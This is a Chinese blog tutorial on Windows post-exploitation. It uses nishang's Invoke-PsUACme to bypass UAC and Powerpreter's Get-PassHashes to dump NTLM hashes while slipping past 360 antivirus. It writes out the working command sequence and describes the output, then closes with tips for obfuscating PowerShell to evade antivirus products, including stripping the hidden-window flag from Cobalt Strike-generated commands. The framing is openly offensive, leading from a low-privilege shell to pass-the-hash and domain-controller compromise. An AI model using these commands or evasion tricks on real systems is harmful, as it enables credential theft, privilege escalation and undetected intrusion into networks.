利用 UACME和ps混淆来bypass AV – 作者:i春秋学院

i春秋作家:神裤衩

0x00 前言
image.png拿到一个服务器的低权限shell之后,一般的思路是提权-导hash-hash传递/17-010/14-068-找文件服务器-打域控,在这一整个链条中前两个提权/导hash也是经常遇坑的地方。本文需要介绍下如何在有Anti Virus的情况下实现提升权限并导出NTLM hash。

0x01 简介

l  Powershell bypassUAC执行命令

l  Powershell混淆绕过anti virus

l  Windows server 2008/win7 nt6内核系统

0x02 Powershell简介

而从2008/win7开始windwos引入了powershell,而powershell是什么?可以简单的认为powershell是利用.net的各类库来实现往常cmd不能实现的功能,基于其强大的功能,往往也成为一些安全软件与系统安全的短板。

0x03 实现过程

回到提权的问题上,在powershell上可以通过bypass uac的操作来绕过系统阻止的访问操作,将自己操作的权限提升到id:500的管理员。

https://www.cnblogs.com/Chesky/p/UAC_Bypass.html有关UAC的概念和bypass相关可以查看上文。这里使用nishang的Invoke-PsUACme.ps1脚本

image.pnghttps://github.com/hfiref0x/UACME通过dll注入bypass的。测试环境 windows 7

image.png

当前用户权限处于管理员组,但id非500的用户。上传/或者ps动态加载Invoke-PsUACme.ps1到文件/内存中这里为了判断是否成功提升了权限我使用Powerpreter.psm1来导出hash,可以先提前执行下Powerpreter.psm1可以看到权限不够无法导出hash而且AV会拦截并删除脚本:如下图

image.png已经被拦截了。接下来我bypassuac后在利用执行导hash操作

Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\123>powershell -exe bypass
Windows PowerShell[/align][align=left]
版权所有 (C) 2009 Microsoft Corporation。保留所有权利。
PS C:\Users\123> Import-Module.\Desktop\Invoke-PsUACme.ps1
PS C:\Users\123> cd .\Desktop
PS C:\Users\123\Desktop>  Invoke-PsUACme -method oobe -Payload"powershell -exE
bypass Import-Module C:\Users\123\Desktop\Powerpreter.psm1;Get-PassHashes> C:\Users\123\Desktop\1.txt"
Using OOBE method

030248lwixm0lon0qfuooa.png.thumb.jpg


可以看到,360并没有对执行的命令进行拦截
030301vzegsh92chbde00c.png.thumb.jpg
桌面上生成了1.txt代表命令成功的执行了。
030312rlt6wvztpr19l91q.png.thumb.jpg
可以看到 hash已经导出来了,在内网中接下来就是hash传递了。慢慢搞。


0x05 小结

这里再简单说下ps混淆,有的杀软对于编码混淆检查的比较严格,有的只是检查了参数传递的关键字,通过大小写,分号切割等方法都可以绕过,还有很多比如cs自动生成的ps命令,只需要控制将隐藏窗口控制台参数去掉就可以绕过火绒/等一些常见的国内av。有时间的话整理下ps混淆应对杀软的特点。

来源:freebuf.com 2019-01-11 11:11:02 by: i春秋学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论